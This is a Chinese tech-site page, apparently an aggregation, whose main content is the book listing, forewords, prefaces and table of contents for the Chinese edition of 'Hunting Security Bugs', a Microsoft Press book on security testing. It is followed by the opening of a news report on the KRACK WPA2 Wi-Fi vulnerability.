精华内容
参与话题
问答
  • 1  Oracle Database Server远程安全漏洞(CVE-2015-4863) 2  Oracle Database Server OJVM 本地安全漏洞(CVE-2017-10202) 3  Oracle Database Server Java VM组件安全漏洞(CVE-2018-3110) 4  Oracle Database ...
  • 安全漏洞追踪

    千次阅读 2008-10-08 10:25:00
    图书信息 作 者:(美)盖弗(Gallagher,T.),(美)詹弗瑞斯(Jeffries,B.),(美)兰德(Landauer,L.)著,钟力,朱敏,何金勇译 出 版 社: 电子工业出版社 出版时间: 2008-11-1 页 数: 532页 开 本:...
    5202e5f2f5859b09b07ec58b.jpg

    图书信息

      作 者:(美)盖弗(Gallagher,T.),(美)詹弗瑞斯(Jeffries,B.),(美)兰德(Landauer,L.)著,钟力,朱敏,何金勇译
      出 版 社: 电子工业出版社
      出版时间: 2008-11-1
      页 数: 532页
      开 本: 16开
      I S B N : 9787121073717
      分类: 图书 >> 计算机/网络 >>网络安全
      定价:¥65.00

    宣传语

      •一本难得的面向安全测试的好书
      •我们必须培养一类新型的测试员——一种能像恶意攻击者那样思考的人——一种基于白盒和黑盒测试基础的通过攻击来追踪安全漏洞的人。——微软主席兼软件体系结构首席执行官 比尔•盖茨

    内 容 简 介

      这是一本针对安全测试的书籍,同时也是一本十分适合信息安全研究人员的优秀参考书。本书共20章,其中前3章讨论了安全测试的基础,包括如何从攻击者的角度去思考测试方法,以及如何进行威胁建模和入口点查找。第4章至第19章则通过详细的示例与代码,分别深入地阐述了网络流量和内存数据的操控方法,包括缓冲区溢出、格式化字符串、HTML脚本、XML、规范化、权限、拒绝服务、托管代码、SQL注入和ActiveX再利用等安全漏洞追踪方法,以及在二进制代码条件下查找安全漏洞的逆向工程技术。第20章论述了合理报告安全漏洞的程序,并提出了一个负责的安全漏洞公开流程。最后,本书还提供了一个适于初学者的测试用例列表。

    推 荐 序

      当Jesse James——美国西部著名的歹徒被问到他为什么抢劫银行时,他回答道:“钱在那!”同样地,任何一个可能雇佣你作为安全测试员的现代公司,在它的内部网络上都有着非常重要的资产,同时心怀恶意的人将会试图进入内部网络并窃取那些资产。无论你测试的是哪种软件——内部使用的、外部网站的或现成的商业软件——总会有人有目的地攻击你的产品。改善应用程序的安全涉及设计人员、开发人员和测试人员,而且,安全测试人员的角色是不能被低估的。
      有那么多关于软件安全的书,为什么要读这本书呢?我认识很多在微软公司和比较大的安全协会中能查找安全缺陷的人,但Tom Gallagher和Lawrence Landauer的工作我非常了解,他们是最优秀的和表达最清楚的人中的两位。在微软Office可信计算小组(The Microsoft Office Trustworthy Computing team)中,有一些在行业中最好的安全测试人员。Tom、Lawrence和他们的朋友及合著者Bryan Jeffries都极富经验,并且知识渊博。在本书中他们提供的信息将会使你更深层次地认识安全测试。
      来看看到目前为止已经在其他书中探讨过的主题,比如《黑客大曝光(Hacking Exposed)》和《Assessing Network Security》。这些书很好地揭示了网络黑客和从事网络安全评估的人所使用的技术。如果你的工作是开发更安全的软件,那么它们会是很有用的信息,能帮助你看到那些很容易受到黑客攻击的缺陷。但是,虽然掌握这种知识是好事,但它们并不能帮助你快速、有效、系统地查找安全问题。而这就是本书将要讨论的主题。
      有些人的工作就是在其他人的产品中查找安全缺陷,其中一个最有创造性的人就是Greg Hoglund。他的书《Exploiting Software》(2004年,与Gary McGraw合著,Addison-Wesley公司出版)对在此行业中对最优秀的、最具有创造性的人是如何查找漏洞的给予了一些很好的阐述。但Greg没有源代码,也没有询问开发人员,所以他采用了一个不同的方法。正如Tom简短的解释:安全行业的超级明星每年仅能发现和公布非常少的问题。当我在互联网安全系统的X-Force组(Internet Security System’s X-Force)管理漏洞搜寻人员时,该组中最优秀的人每个月做得好的话能够发现一个或两个严重的安全问题。一个专业的软件测试人员不会奢侈到花费这么长时间来查找如此少的漏洞,同时,大多数阅读本书的人还要负责功能特性的测试,这会进一步地限制了他们的时间。你可以把本书作为一种资源来帮助你理顺和加强安全测试进程。
      也许你更关心那些受公司防火墙保护的内部运行的软件。如果公司的网络相当大,那么最安全的设想就是将内部网络当作一个半公开、半敌对的网络来对待。大多数的公司已经犯下了雇佣错误,同时内部安全的不足会允许心怀不满或恶意的雇员做许多坏事。尽管由内部人员发起的内部攻击比来自外部网络的攻击要少得多,但是他们攻击成功的可能性要大得多,并且能造成更严重的伤害。我也曾看到过一些内部的、在线交易应用程序的例子,它使大公司的网络变得不安全。如果攻击者找到了系统所在,那将会有很多问题。大网络之外具有一定熟练程度的攻击者想达到这个目的是极度困难且代价不菲的。
      你为什么需要学习安全呢?由安全漏洞导致的损失已经非常严重。如果你正在为微软公司或者另外一家大的软件厂商工作,你就会看到安全问题对你的客户和公司的影响。对你和你的客户来说,花费时间修补已经售出的软件比在软件发行前发现漏洞的代价要昂贵得多。在经历了系统崩溃和其他一些损失后,如果厂商不在产品发行前找到并修补安全缺陷的话,客户几乎不可能从他们那再购买软件。
      更糟的是,这种形势正变得更加具有挑战性。攻击者可利用的工具正变得更加完善且更容易使用。在90年代中期,需要非常专业的开发人员编写把缓冲区溢出变成可利用程序的汇编代码。近几年来,许多优秀的安全审计小组都有一个或多个人在渗透测试期间编写漏洞利用程序来攻击定制的软件。现在,一个点选式(point-and-click)的网站能产生针对多种操作系统的漏洞利用代码,克服了许多用户输入方面的限制,通常会很容易地把开发人员的错误变成可利用的条件。
      在攻击者可得到的资源变得更加全面的时候,攻击者也变得越来越全面。很多年以前,闯入计算机的人一般不会破坏任何东西或他们可能仅仅恶作剧一下。因为互联网上并没有多少计算机,而且被侵入的计算机也没有什么有趣的东西,所以在攻击者中产生了一套道德规范。人们会写一些带有政治口号或者只会引起一点点小麻烦的病毒。真正有破坏性的病毒是非常罕见的。
      现今,有人控制了大量的计算机形成“僵尸”大军。为了获取金钱,有人编写复杂的间谍软件而不是病毒。如今攻击者的目标通常是金钱,社会上甚至存在着从商业网站偷取信用卡的市场需求。位于日本东京的一家安全公司——Little Earth Corporation——最近对一百多个商业网站进行了评估,发现具有严重安全问题的网站比安全网站要多得多。尽管开发操作系统和Web服务器的开发人员做了大量工作,但如果建立在那些安全平台上的软件是不安全的,那么客户的数据和公司的声誉就会存在风险。
      为了充分保护你的客户,请阅读本书吧!
      David LeBlanc
      2006年4月

    译 者 序

      本书是一本难得的面向安全测试的好书,凝聚了作者在该领域渊博的知识和丰富的经验。前三章是本书讨论内容的基础,第1章提出了安全测试的基本思路和方法,认为从攻击者的角度去思考如何进行安全测试,是目前最有效的方法;第2章讨论了威胁模型在安全测试中的关键作用,指出理解软件工作机制和数据流程图,列举数据的入口点和退出点,分析潜在的威胁和数据处理点,是威胁建模的重要内容;第3章则介绍了常见的入口点及其查找方法。第4章至第19章分别针对不同的主题进行深入的阐述,内容涉及如何对网络流量和内存等数据进行操控,缓冲区溢出、格式化字符串、HTML脚本、XML、规范化、权限、拒绝服务、托管代码、SQL注入和ActiveX再利用中的安全漏洞及其测试方法,以及怎样在二进制代码条件下进行逆向工程来查找安全漏洞。第20章讨论了合理报告安全漏洞的程序,并提出了一个负责的漏洞公开流程。最后,附录A和附录B给出了本书引用的相关工具列表和适于初学者的测试用例列表。
      本书最大的特点就是“广”和“实”。它探讨了几乎所有的软件存在安全漏洞的地方,覆盖面非常宽;而且,对每一个主题都进行了深入的分析,给出明确的指导和具体的实例。该书不但能够很好地直接用于安全测试,同时对于从事信息安全研究的技术人员来说,也不失为一本优秀的参考书。
      我们成立了一个10人组成的团队来翻译这本书。除前言和第3章由大家共同翻译之外,王中锋翻译了第4、5、6章,朱敏翻译了第7、8章,唐云翻译了第9、12章,何金勇翻译了第10、11章,阮强翻译了第12、13、14章,李蒙翻译了第15章,张金祥翻译了第16、17章,张志鹏翻译了第18、19章,韦朋辉翻译了附录A和附录B,我翻译了第1、2、20章,并对本书进行了全文校对。在这里,我十分感谢大家的辛勤劳动,正是由于每个人的努力付出,本书的翻译工作才得以顺利完成。在翻译过程中,我尽量兼顾每位成员所擅长的研究方向和工作经验,但由于本书非常全面,有些领域我们涉猎不深,再加上时间紧迫,水平有限,所以翻译难免有误,敬请读者谅解。另外,在本书的翻译过程中,得到了出版社的大力支持,在此表示衷心的感谢。
      钟 力
      2008年8月8日

    前 言

      你可能想知道微软为什么要出版这样一本关于安全测试的书,因为加强软件安全是一件非常困难的事情。当然,微软已经遇到过相当多的软件安全问题,因而有大量的经验供测试人员参考。在2002年可信计算计划被提出之前,我们就已经在微软工作了。自微软实施该计划以来,我们已经看到微软在处理安全问题方面的重大改变。现在,安全问题已经不仅仅是安全专家的职责,已经成为了我们每一个人的责任。这本具有创见性的关于软件安全测试的书,源于我们在微软的工作经验以及为开发出用户购买后能持续安全可靠运行的软件而做出的努力。
      应用软件的安全并不仅仅局限于使用安全技术的功能特征,以及像加密和账户管理这样的功能特征。我们必须认真考虑一个产品的每个功能特征的安全。鉴于此,在微软工作的每个项目管理人员、开发人员、测试人员和相关技术人员都有责任保证软件尽可能安全。本书认为安全是每个人的责任,并且重点向测试人员提供用来发现软件功能安全漏洞的信息,这些安全漏洞都可能是难以发现的。
      本书没有阐述这些漏洞应该如何修补。其他的一些书,如Michael Howard和David LeBlanc所写的《Writing Secure Code》(微软出版社,2002年)是一本从编写代码的角度阐述如何修补和防止安全漏洞的优秀参考书。
      微软因为发布了含有安全缺陷的软件而经历了一些惨痛的教训,后来微软不得不通过安全更新来修补这些缺陷。本书描述了现在许多软件中存在的安全问题,并包含了一些已经带来损失的漏洞信息,以及我们在产品发布前自己发现的一些漏洞信息。我们希望你能从我们的经验中学到知识,从而在发布自己的软件时防止产生类似的安全漏洞。
      在本书中,我们把能够被另外一名用户控制的数据称为“攻击者已控数据(Attacker Controlled Data)”。我们这么做,是要让你不仅意识到应用程序所操作的数据有可能来自攻击者,还应该树立攻击者的意识,认识到你也能控制这些数据。我们鼓励你不但要像攻击者那样带有恶意的想法去思考,而且在测试软件时还要扮演攻击者,攻击你自己的系统,以此来帮助公司发现软件的安全漏洞。
      本书的目的就是为了促进你的测试工作,能够开发出更好的软件,而不是让你攻击其他人的软件,或者利用攻击者的恶意想法或技术去分析不属于你测试范围的软件。本书是一本为白帽黑客而写的书。
      软件安全一直在快速地发展。未来我们将面临今天所不知道的危险攻击。但是无论如何,本书讨论的以攻击者的角度、采用攻击者的方法进行安全测试的步骤,并不会发生太大的改变。
      本书的读者对象
      软件测试人员是此书的主要读者。下面列出的这些读者朋友因其工作性质,都能从本书中受益:
       软件测试人员:测试人员有责任全面了解他们所测试的功能特征工作原理的技术细节。软件测试时会用到这些技术细节。我们为测试人员展示了如何利用功能特性的测试知识来完成安全测试。我们在微软的测试机构工作过,曾经花费了几年的时间与软件测试人员在一起,帮助他们更好地理解如何在已进行功能特性测试的地方进行安全测试。在撰写本书的过程中,我们已向功能特性测试人员和安全专家寻求了反馈意见。
       软件开发人员:尽管此书并没有介绍如何构建和编写安全代码的知识,但它的确介绍了如何攻击软件。软件开发人员应该对这方面比较感兴趣,因为准确地理解攻击是如何进行的,开发人员就能更好地保护他们的应用软件。软件开发人员也能学到特定测试领域的知识,然后要求安全测试人员开发适用于这些测试领域的代码。
       学生:现在许多学校是不会讲授如何进行安全测试的相关知识。如果学生毕业以后,从事软件和信息技术领域的工作,可能会因为没有接受过安全测试的教育而感到手足无措。阅读此书的学生能够在设计、写作和配置安全软件等方面获取更多的技能。这些技能有助于他们找到工作并胜任工作。
       渗透测试人员:专业的渗透测试人员(也被称为安全测试专家)对于此书所要讨论的许多主题也许已经十分了解。很可能,书中一大段文章可以引起渗透测试人员探寻未知领域的兴趣。这本书包含了客户端和服务器应用程序。我们从该领域专家那里获知了信息和建议,这些专家可以是我们所讨论的某些技术的提出者,也可以是专注于安全测试技术的专家。
      本书的组织结构
      你可以按照章节顺序阅读此书。然而,本书中的许多章节都可以独立成篇。前三章介绍了此书的背景信息,是其他章节的基础。第4章“成为恶意的客户端”和第5章“成为恶意的服务器”解释了网络流量是如何被操控的,我们平时所讨论的许多攻击行为都需要操控网络流量。第8章“缓冲区溢出及堆栈/堆操纵”和第9章“格式化字符串攻击”一并阐述了攻击者是如何通过直接操控内存来执行任意代码的。第18章“ActiveX再利用攻击”和第19章“其他再利用攻击”阐述了各种各样的再利用攻击。在书的最后,你会看到一系列工具(附录 A)和一份安全测试用例列表(附录 B),其中包含了一些适用于初学者的基本测试用例。
      书中绝大部分章节在开始处都有一个高度概括的概要,在结尾处会总结一些精炼的测试技巧。有些章节也包含了一些走查,你可以在自己的计算机上尝试这些步骤。
      系统需求
      你需要配置以下的硬件和软件来编译和运行书中提到的代码实例。
       Microsoft Windows XP with Service Pack 2, Microsoft Windows Server 2003 Service Pack 1或更高补丁版本
       Microsoft Visual Studio 2003标准版或Microsoft Visual Studio 2003专业版或以后版本
       600 MHz 奔腾或兼容处理器(推荐1GHz 奔腾处理器)
       192 MB 内存(推荐256 MB或更高)
       显示器(800 × 600或更高的分辨率)至少采用256色(推荐1024 × 768,16位色)
       微软鼠标或其兼容设备
      技术更新
      因为书中涉及的相关技术是不断更新的,更新的内容将被放在微软出版社的技术更新网页上,地址如下:
      http://www.microsoft.com/mspress/updates/
      定期访问该页面可以获取Visual Studio 2005和其他技术方面的更新。
      代码实例及附带内容
      本书包含了一些预先设计好的代码实例、附带工具和程序。书中讨论的所有代码实例和附带内容能在以下地址下载:
      http://www.microsoft.com/mspress/companion/0-7356-2187-X/
      本书技术支持
      我们已尽最大努力来确保本书及附带内容的正确性。微软出版社通过以下网址为本书及附带内容提供技术支持:
      http://www.microsoft.com/learning/support/books
      问题与评论
      如果你对本书及附带内容有任何评论、问题或建议,或者你的问题在上述网址中没有找到解答,请发E-mail至bn@phei.com.cn。

    致谢

      我们非常感谢为本书内容提供了想法、技术见解和其他反馈意见的人士。以下人士慷慨地贡献了他们的时间无偿审阅了此书的部分章节,这些人士是:Atin Bansal、Srijan Chakraborty、Shawn Farkas、Stephen Fisher、Greg Foltz、Raul Garcia、Greg Hartrell、Eric Jarvi、Chris Jeuell、Hidetake Jo、Akhil Kaza、Ariel Kirsman、Alex Krawarik、Secure Windows Initiative Team的John Lambert、Web Services Team的John Lambert、Ivan Medvedev、Bala Neerumalla、Maurice Prather、Walter Pullen、Yong Qu、David Ross、Micky Snir、Peter Torr、Ambrose Treacy、Don Willits和Oleh Yuschuk。
      以下人士的付出应受到特别的赞誉:微软安全响应中心(Microsoft Security Response Center)的Christopher Edwards认真审阅了本书,并对第20章“报告安全漏洞”提供了反馈,Jason Geffner校对了第17章“观察及逆向工程”并提出了一些合理的建议。Sean Hunt和Mark Iler超出我们预期地审阅了本书的更多章节并提供了反馈意见。Alan Myrvold认真地审阅了本书几乎每一页,他同时也提出了很多评论和建议,提供了一些附加的信息资源。
      本书谈到了两个由微软员工编写但未公开的工具,他们慷慨地允许我们把这些工具提供到本书的对应网址上。其中,MITM由Jiri Richter开发、ObjSD由Vikram Subramanian开发。这两个工具都十分有用。再次感谢他们允许我们公开这两个工具。同样感谢Mark Russinovich对Sysinternals工具问题的解答,以及对进程浏览器工具的细致修改。
      特别感谢Imran Akhtar、Matt Cohen、 Grant George、David Hansen、 David LeBlanc、Mark Mortimore、Tara Roth和Matt Thomlinson,他们全力支持了我们的测试活动,为本书提出了宝贵建议。David LeBlanc更是帮助我们描述了安全测试的重要性。感谢Ben Ryan(策划编辑)、Kathleen Atkins(项目编辑)、Christina Palaia(文字编辑)、William Teel(美工)和Chris Weber(技术编辑),为了使本书更易懂、语法更准确、技术更精确,他们做了大量的工作。

    目 录

      第1章 安全测试的一般方法 1
      1.1 安全测试人员的不同类型 2
      1.2 一种安全测试的方法 3
      1.2.1 深入理解测试的内容 4
      1.2.2 从攻击者的角度思考如何攻击目标 6
      1.2.3 攻击产品 8
      1.2.4 时刻关注新的攻击 8
      1.3 小结 9
      第2章 利用威胁模型进行安全测试 10
      2.1 威胁建模 10
      2.2 测试人员如何对威胁模型分级 11
      2.3 数据流程图 12
      2.4 入口点和退出点的安全 13
      2.5 识别威胁的技巧及常见威胁 14
      2.6 测试人员如何利用一个完整的威胁模型 16
      2.7 技术实现难以符合产品规范或威胁模型 19
      2.8 小结 20
      第3章 查找入口点 21
      3.1 查找入口点并划分等级 22
      3.2 常见入口点 23
      3.2.1 文件 23
      3.2.2 套接字(Socket) 27
      3.2.3 HTTP请求 29
      3.2.4 命名管道 32
      3.2.5 可插入协议处理程序 35
      3.2.6 恶意服务器响应 37
      3.2.7 程序化接口 38
      3.2.8 SQL 39
      3.2.9 注册表 39
      3.2.10 用户接口 41
      3.2.11 E-mail 42
      3.2.12 命令行参数 44
      3.2.13 环境变量 45
      3.3 小结 47
      第4章 成为恶意的客户端 48
      4.1 客户端/服务器交互 48
      4.1.1 发现服务器正常接收的请求 49
      4.1.2 操纵网络请求 51
      4.2 测试HTTP 55
      4.2.1 理解无状态协议 56
      4.2.2 接收输入的测试方法 56
      4.3 快速测试特定的网络请求 66
      4.4 测试技巧 68
      4.5 小结 69
      第5章 成为恶意的服务器 70
      5.1 理解客户端接收恶意服务器响应的常见方法 71
      5.2 SSL能否阻止恶意服务器的攻击 73
      5.3 操纵服务器响应 73
      5.4 恶意响应漏洞的例子 74
      5.5 错误认识:对攻击者来说创建恶意服务器非常困难 76
      5.6 理解降级(Downgrade)MITM攻击 77
      5.7 测试技巧 78
      5.8 小结 79
      第6章 欺骗 80
      6.1 掌握欺骗问题的重要性 80
      6.2 寻找欺骗问题 82
      6.3 常见欺骗案例 82
      6.3.1 IP地址欺骗 83
      6.3.2 MAC地址欺骗 84
      6.3.3 利用网络协议欺骗 85
      6.4 用户接口(User Interface,UI)欺骗 88
      6.4.1 重构对话框 88
      6.4.2 Z-Order欺骗 93
      6.4.3 让人误解的URL和文件名 94
      6.5 测试技巧 97
      6.6 小结 97
      第7章 信息泄露 98
      7.1 信息泄露问题 98
      7.2 定位信息泄露的常见区域 99
      7.2.1 文件泄露 99
      7.2.2 网络泄露 107
      7.3 识别重要的数据 111
      7.3.1 数据混淆 112
      7.3.2 隐含泄露 113
      7.4 小结 113
      第8章 缓冲区溢出及堆栈/堆操纵 114
      8.1 了解溢出的工作原理 117
      8.1.1 堆栈溢出 118
      8.1.2 整型溢出 121
      8.1.3 堆溢出 128
      8.1.4 其他攻击 129
      8.2 溢出测试:在哪里寻找(测试)用例 130
      8.2.1 网络 130
      8.2.2 文档与文件 131
      8.2.3 较高权限和较低权限用户之间的共享信息 131
      8.2.4 可编程接口 132
      8.3 黑盒(功能)测试 133
      8.3.1 确定期待的是什么数据 133
      8.3.2 使用你能识别的数据 134
      8.3.3 了解界限与边界 134
      8.3.4 保持全部数据的完整性 137
      8.3.5 改造正常数据使其溢出的策略 141
      8.3.6 测试首要行为和次要行为 143
      8.3.7 要查找什么 144
      8.3.8 运行时工具 156
      8.3.9 模糊测试 158
      8.4 白盒测试 159
      8.4.1 要查找的对象 160
      8.4.2 溢出的可用性 164
      8.4.3 Unicode数据 169
      8.4.4 已过滤的数据 170
      8.5 其他主题 170
      8.5.1 无代码执行的溢出也很严重 170
      8.5.2 /GS编译器开关 173
      8.6 测试技巧 175
      8.7 小结 176
      第9章 格式化字符串攻击 177
      9.1 什么是格式化字符串 178
      9.2 理解为什么格式化字符串存在问题 178
      9.2.1 剖析prinf调用 179
      9.2.2 堆栈解析错误 180
      9.2.3 内存覆盖 182
      9.3 格式化字符串安全漏洞测试 183
      9.3.1 代码检查 183
      9.3.2 黑盒测试 184
      9.4 走查(Walkthrough):经历一个格式化字符串攻击过程 185
      9.4.1 寻找格式化字符串漏洞 185
      9.4.2 分析可利用性 186
      9.4.3 深度挖掘:围绕可利用性问题进行工作 189
      9.4.4 构建一个简单的负载 201
      9.5 测试技巧 208
      9.6 小结 209
      第10章 HTML脚本攻击 210
      10.1 理解针对服务器的反射跨站脚本攻击 211
      10.1.1 例子:一个搜索引擎中的反射XSS 212
      10.1.2 理解为什么XSS攻击是安全相关的 214
      10.1.3 利用服务端的反射XSS漏洞 216
      10.1.4 POST也是可利用的 218
      10.2 理解针对服务器的持久性XSS攻击 219
      10.2.1 例子:在一个留言簿中的持久性XSS攻击 220
      10.2.2 利用针对服务器的持久性XSS攻击 221
      10.3 识别用于反射和持久性XSS攻击的数据 221
      10.4 程序员阻止攻击的常用方法 224
      10.5 理解针对本地文件的反射XSS攻击 227
      10.5.1 例子:本地文件中的反射XSS 228
      10.5.2 利用本地文件中的反射XSS漏洞 229
      10.5.3 理解为何本地XSS漏洞是一个问题 229
      10.5.4 利用本地XSS漏洞在受害者的机器上运行二进制文件 232
      10.5.5 HTML资源 233
      10.5.6 编译后的帮助文件 234
      10.5.7 在客户端脚本中查找XSS漏洞 236
      10.6 理解本地计算机区域中的脚本注入攻击 237
      10.6.1 例子:在Winamp播放列表中的脚本注入 237
      10.6.2 把非HTML文件当作HTML来解析 240
      10.7 程序员用于防止HTML脚本攻击的方法 243
      10.7.1 过滤器 243
      10.7.2 深入理解浏览器中的解析器 245
      10.7.3 Style中的注释 245
      10.7.4 ASP.NET内置的过滤器 247
      10.8 理解Internet Explorer如何减轻针对本地文件的XSS攻击 248
      10.8.1 从互联网到本地计算机区域的链接被阻止 248
      10.8.2 在默认情况下,脚本在本地计算机区域中是禁止运行的 248
      10.9 识别HTML脚本的脆弱性 250
      10.10 通过检查代码查找HTML脚本漏洞 250
      10.10.1 识别所有返回内容给Web浏览器或者文件系统的位置 251
      10.10.2 确定输出中是否包含攻击者提供的数据 251
      10.10.3 检查攻击者的数据是否进行了适当的验证或者编码 252
      10.10.4 ASP.NET自动对数据进行编码 253
      10.11 小结 254
      第11章 XML问题 255
      11.1 测试XML输入文件中的非XML安全问题 255
      11.1.1 结构良好的XML 256
      11.1.2 有效的XML 257
      11.1.3 XML输入中包括非字母数字的数据 257
      11.2 测试特定的XML攻击 260
      11.2.1 实体(Entity) 260
      11.2.2 XML注入(XML Injection) 263
      11.2.3 大文件引用(Large File Reference) 266
      11.3 简单对象访问协议(Simple Object Access Protocol) 266
      11.4 测试技巧 271
      11.5 小结 271
      第12章 规范化问题 272
      12.1 理解规范化问题的重要性 272
      12.2 查找规范化问题 273
      12.3 基于文件的规范化问题 273
      12.3.1 目录遍历 274
      12.3.2 使文件扩展名检查失效 274
      12.3.3 导致规范化问题的其他常见错误 277
      12.4 基于Web的规范化问题 282
      12.4.1 编码问题 282
      12.4.2 URL问题 287
      12.5 测试技巧 290
      12.6 小结 291
      第13章 查找弱权限 292
      13.1 理解权限的重要性 293
      13.2 查找权限问题 294
      13.3 理解Windows的访问控制机制 295
      13.3.1 安全对象 295
      13.3.2 安全描述符 296
      13.3.3 ACL 296
      13.3.4 ACE 297
      13.4 查找和分析对象的权限 298
      13.4.1 使用Windows安全属性对话框 298
      13.4.2 使用AccessEnum 300
      13.4.3 使用Process Explorer 300
      13.4.4 使用ObjSD 301
      13.4.5 使用AppVerifier 302
      13.5 识别常见的权限问题 302
      13.5.1 弱自主访问控制列表(DACL) 303
      13.5.2 NULL DACL 307
      13.5.3 不恰当的ACE顺序 308
      13.5.4 对象创建者 308
      13.5.5 间接访问资源 309
      13.5.6 忘记恢复原权限 309
      13.5.7 蹲点(Squatting)攻击 310
      13.5.8 利用竞争条件 311
      13.5.9 文件链接 312
      13.6 确定对象的可访问性 315
      13.6.1 可远程访问的对象 315
      13.6.2 本地可访问对象 317
      13.7 其他的权限考虑 318
      13.7.1 .NET权限 318
      13.7.2 SQL权限 318
      13.7.3 基于角色的安全 320
      13.8 小结 321
      第14章 拒绝服务攻击 322
      14.1 掌握DoS攻击的类型 322
      14.1.1 查找技术实现缺陷 323
      14.1.2 查找资源消耗缺陷 329
      14.1.3 寻找解决严重问题的方法 335
      14.2 测试技巧 336
      14.3 小结 336
      第15章 托管代码问题 337
      15.1 澄清有关使用托管代码的常见错误认识 338
      15.1.1 错误认识1:在托管代码中不存在缓冲区溢出 338
      15.1.2 错误认识2:ASP.NET Web控件可防止跨站脚本 339
      15.1.3 错误认识3:垃圾回收可以防止内存泄露 339
      15.1.4 错误认识4:托管代码可防止SQL注入 340
      15.2 理解代码访问安全的基础 340
      15.2.1 用户安全和代码安全的比较(User Security vs. Code Security) 341
      15.2.2 CAS概况 341
      15.2.3 程序(Assembly) 342
      15.2.4 物证 343
      15.2.5 权限 343
      15.2.6 策略 344
      15.2.7 全局程序集缓冲区(Global Assembly Cache) 348
      15.2.8 堆栈审核(Stack Walk) 348
      15.2.9 堆栈审查修改器(Stack Walk Modifier) 350
      15.3 使用代码检查方法查找问题 352
      15.3.1 调用不安全的代码 353
      15.3.2 查找断言导致的问题 355
      15.3.3 查找链接查询中的问题 357
      15.3.4 了解拙劣的异常处理 360
      15.4 理解使用APTCA带来的问题 362
      15.5 .NET程序反编译 368
      15.6 测试技巧 368
      15.7 小结 369
      第16章 SQL注入 370
      16.1 SQL注入的确切含义 370
      16.2 了解SQL注入的重要性 372
      16.3 查找SQL注入问题 373
      16.3.1 利用黑盒测试方法 374
      16.3.2 利用代码检查 385
      16.4 避免SQL注入的常见错误 387
      16.4.1 转义输入中的单引号 388
      16.4.2 删除分号以阻止多重语句 388
      16.4.3 只使用存储过程 389
      16.4.4 删除不必要的存储过程 390
      16.4.5 将运行SQL Server的计算机安置在防火墙之后 390
      16.5 理解SQL存储过程的再利用 391
      16.5.1 示例:备份文档 392
      16.5.2 搜寻存储过程中的再利用问题 393
      16.6 识别类似的注入攻击 393
      16.7 测试技巧 394
      16.8 小结 395
      第17章 观察及逆向工程 396
      17.1 在没有调试器或反汇编工具时的观测结果 396
      17.1.1 输出比较 397
      17.1.2 使用监视工具 398
      17.2 使用调试器跟踪程序的执行并改变其行为 399
      17.2.1 修改执行流程以旁路限制 400
      17.2.2 在调试器下读取并修改内存的内容 404
      17.3 使用反编译器或反汇编工具对一个程序实施逆向工程 408
      17.3.1 理解二进制本地代码与字节码的区别 409
      17.3.2 在没有源代码时定位不安全的函数调用 411
      17.3.3 对算法实施逆向工程以识别安全缺陷 415
      17.4 分析安全更新 417
      17.5 测试技巧 418
      17.6 法律方面的考虑因素 419
      17.7 小结 419
      第18章 ActiveX再利用攻击 420
      18.1 理解ActiveX控件 421
      18.1.1 在Internet Explorer浏览器中创建ActiveX控件 421
      18.1.2 ActiveX控件的初始化和脚本解析 423
      18.1.3 ActiveX控件再利用 424
      18.1.4 理解ActiveX控件安全模型 428
      18.1.5 利用ActiveX控件测试方法学 434
      18.1.6 其他的测试窍门及技术 441
      18.2 走查(Walkthrough):ActiveX控件测试 450
      18.2.1 Clear 451
      18.2.2 ClipboardCopy 452
      18.2.3 ClipboardPaste 453
      18.2.4 InvokeRTFEditor 455
      18.2.5 LoadRTF 464
      18.2.6 NumChars 465
      18.2.7 RTFEditor 属性 466
      18.2.8 RTFEditor PARAM 467
      18.2.9 RTFEditorOverride 468
      18.2.10 挑战 470
      18.3 测试技巧 470
      18.4 小结 471
      第19章 其他再利用攻击 472
      19.1 理解请求外部数据的文档格式 472
      19.1.1 文档格式请求外部数据的常见的降低风险的方法 473
      19.1.2 测试请求外部数据的文档格式 474
      19.2 请求外部数据的Web页面 475
      19.2.1 通过URL查询字符串进行的CSRF攻击 475
      19.2.2 通过POST数据进行的CSRF攻击 476
      19.2.3 防止CSRF攻击的常用方法 477
      19.2.4 通过SOAP数据进行的CSRF攻击 478
      19.2.5 对CSRF攻击进行测试 479
      19.3 理解窗口和线程消息的再利用 479
      19.4 小结 480
      第20章 报告安全漏洞 481
      20.1 报告问题 481
      20.2 联系开发商 482
      20.3 期望联系开发商后得到什么 484
      20.4 公开发布 485
      20.4.1 确定细节数量 485
      20.4.2 公开时间选择 486
      20.5 定位产品中的安全漏洞 486
      20.5.1 与漏洞发现者联系 487
      20.5.2 识别漏洞产生的根本原因 487
      20.5.3 寻找相关的漏洞 487
      20.5.4 确定受影响的产品及其版本 488
      20.5.5 测试补丁 488
      20.5.6 确定减轻措施和相关工作 488
      20.5.7 为所有受影响的产品及其版本同时发布补丁 489
      20.6 小结 489
      附录A 相关工具 490
      附录B 安全测试用例列表 497
    展开全文
  • 在最糟糕的情况下,攻击者可以利用漏洞从 WPA2 设备破译网络流量、劫持链接、将内容注入流量中。换言之,攻击者通过漏洞可以获得一个万能密钥,不需要密码就可以访问任何 WAP2 网络。一旦拿到密钥,他们就可以窃听你...

    作者 | 苏宓

    移动设备横行的时代,Wi-Fi 已成为现代人生活的必备要素之一。但近日有计算机安全专家发现,Wi-Fi 设备的安全协议存在漏洞,如今用于保护 Wi-Fi 网络安全的保护机制已经被黑客攻破,苹果、微软、谷歌、Nest 等无线设备纷纷不再安全,就现有的漏洞,黑客可以轻松入侵用户装置、监听接入网络的设备。

    无论你在家还是在公众场合,只要连接 Wi-Fi ,极有可能会被入侵。

    据了解,这个安全协议漏洞名为“KRACK”,即“Key Reinstallation Attack”(密钥重安装攻击),它曝露了 WPA2 的一个严重的安全漏洞,黑客可以利用 KRACK 进行入侵。

    使用范围最广的 Wi-Fi 网络保护协议——WPA2

    何为 WPA2?

    首先了解 WPA,全称为 Wi-Fi Protected Access(保护无线电脑网络安全系统),有 WPA 和 WPA2 两个标准,是一种保护无线网络安全的加密协议。而 WPA2 是基于 WPA 的一种新的加密方式,支持 AES 加密,新型的网卡、AP 都支持 WPA2 加密,但现在已经被黑客破解。攻击者如今可读取通过 WAP2 保护的任何无线网络(诸如路由器)的所有信息。

    最初,比利时鲁汶大学计算机安全学者马蒂·凡赫尔夫(Mathy Vanhoef)发现了该漏洞,他表示:

    我们发现了 WPA2 的严重漏洞,这是一种如今使用最广泛的 Wi-Fi 网络保护协议。黑客可以使用这种新颖的攻击技术来读取以前假定为安全加密的信息,如信用卡号、密码、聊天信息、电子邮件、照片等等。

